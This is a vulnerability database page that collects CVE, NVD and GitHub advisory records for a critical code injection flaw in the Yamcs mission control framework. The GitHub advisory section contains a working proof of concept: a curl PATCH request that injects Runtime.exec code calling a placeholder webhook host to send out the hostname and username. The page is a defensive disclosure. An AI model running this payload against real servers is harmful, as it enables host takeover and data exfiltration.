Vulnerability-Lookup

CVE-2026-44632 (GCVE-0-2026-44632)

Vulnerability from cvelistv5 – Published: 2026-07-16 16:05 – Updated: 2026-07-16 16:46

Title

Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`

Summary

Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

5 references

URL	Tags
https://github.com/yamcs/yamcs/security/advisorie…	x_refsource_CONFIRM
https://github.com/yamcs/yamcs/commit/3c550348f86…	x_refsource_MISC
https://github.com/yamcs/yamcs/commit/4ff8fda642e…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
yamcs	yamcs	Affected: < 5.12.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44632",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-16T16:45:59.615647Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-16T16:46:26.159Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm\u0027s text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-16T16:05:28.554Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6"
        },
        {
          "name": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"
        },
        {
          "name": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"
        },
        {
          "name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"
        },
        {
          "name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"
        }
      ],
      "source": {
        "advisory": "GHSA-524g-x36v-9wm6",
        "discovery": "UNKNOWN"
      },
      "title": "Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44632",
    "datePublished": "2026-07-16T16:05:28.554Z",
    "dateReserved": "2026-05-07T15:30:10.874Z",
    "dateUpdated": "2026-07-16T16:46:26.159Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-44632",
      "date": "2026-06-14",
      "epss": "0.00473",
      "percentile": "0.65278"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-44632\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-16T17:16:56.023\",\"lastModified\":\"2026-07-16T17:35:04.970\",\"vulnStatus\":\"Undergoing Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm\u0027s text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"yamcs\",\"product\":\"yamcs\",\"versions\":[{\"version\":\"\u003c 5.12.7\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\",\"baseScore\":9.1,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.3,\"impactScore\":6.0}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-16T16:45:59.615647Z\",\"id\":\"CVE-2026-44632\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-94\"}]}],\"references\":[{\"url\":\"https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-44632\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-16T16:45:59.615647Z\"}}}], \"references\": [{\"url\": \"https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-16T16:45:39.843Z\"}}], \"cna\": {\"title\": \"Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`\", \"source\": {\"advisory\": \"GHSA-524g-x36v-9wm6\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 9.1, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"HIGH\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"yamcs\", \"product\": \"yamcs\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 5.12.7\"}]}], \"references\": [{\"url\": \"https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6\", \"name\": \"https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011\", \"name\": \"https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992\", \"name\": \"https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7\", \"name\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0\", \"name\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm\u0027s text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-94\", \"description\": \"CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-16T16:05:28.554Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-44632\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-16T16:46:26.159Z\", \"dateReserved\": \"2026-05-07T15:30:10.874Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-16T16:05:28.554Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-44632

Vulnerability from fkie_nvd - Published: 2026-07-16 17:16 - Updated: 2026-07-16 17:35

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0
	security-advisories@github.com	https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.7"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm\u0027s text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default."
    }
  ],
  "id": "CVE-2026-44632",
  "lastModified": "2026-07-16T17:35:04.970",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44632",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-16T16:45:59.615647Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-16T17:16:56.023",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-524G-X36V-9WM6

Vulnerability from github – Published: 2026-05-27 00:05 – Updated: 2026-05-27 00:05

Summary

Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`

Details

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.

Proof of Concept (PoC)

The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.

Prerequisites: 1. A running Yamcs instance with an active processor (e.g., instance=myproject, processor=realtime). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.

Steps to Reproduce:

Send an authenticated HTTP PATCH request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., copySunsensor). The payload uses java.lang.Runtime to execute a reverse shell or ping an external webhook.

curl -i -X PATCH \
  'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
  -d '{
    "action": "SET",
    "algorithm": {
      "text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)_$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);"
    }
  }'

Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to generate sun sensor data).
The Yamcs server uses the Janino SimpleCompiler to compile the injected text into a Java class on the fly. Since no restrictive ClassLoader is applied, the payload is successfully compiled and executed.
Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:05:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (`org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory`). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.\n\n### Proof of Concept (PoC)\nThe vulnerability can be exploited by overriding an existing algorithm\u0027s text via the REST API and injecting a malicious Java payload that executes OS commands.\n\n**Prerequisites:**\n1. A running Yamcs instance with an active processor (e.g., `instance=myproject`, `processor=realtime`).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n\n**Steps to Reproduce:**\n\n1. Send an authenticated HTTP `PATCH` request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., `copySunsensor`). The payload uses `java.lang.Runtime` to execute a reverse shell or ping an external webhook.\n\n```bash\ncurl -i -X PATCH \\\n  \u0027http://\u003cYAMCS-SERVER-IP\u003e:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cYOUR_AUTH_TOKEN\u003e\u0027 \\\n  -d \u0027{\n    \"action\": \"SET\",\n    \"algorithm\": {\n      \"text\": \"try { java.lang.Runtime.getRuntime().exec(new String[]{\\\"bash\\\", \\\"-c\\\", \\\"curl https://\u003cYOUR-WEBHOOK-URL\u003e/$(hostname)_$(whoami)\\\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);\"\n    }\n  }\u0027\n```\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to generate sun sensor data).\n3. The Yamcs server uses the Janino `SimpleCompiler` to compile the injected text into a Java class on the fly. Since no restrictive `ClassLoader` is applied, the payload is successfully compiled and executed.\n4. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nThis vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.\n\n### Credits\nDiscovered \u0026 reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.",
  "id": "GHSA-524g-x36v-9wm6",
  "modified": "2026-05-27T00:05:45Z",
  "published": "2026-05-27T00:05:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-44632 (GCVE-0-2026-44632)

FKIE_CVE-2026-44632

GHSA-524G-X36V-9WM6

Summary

Proof of Concept (PoC)

Impact

Credits

Tags

Sightings

Nomenclature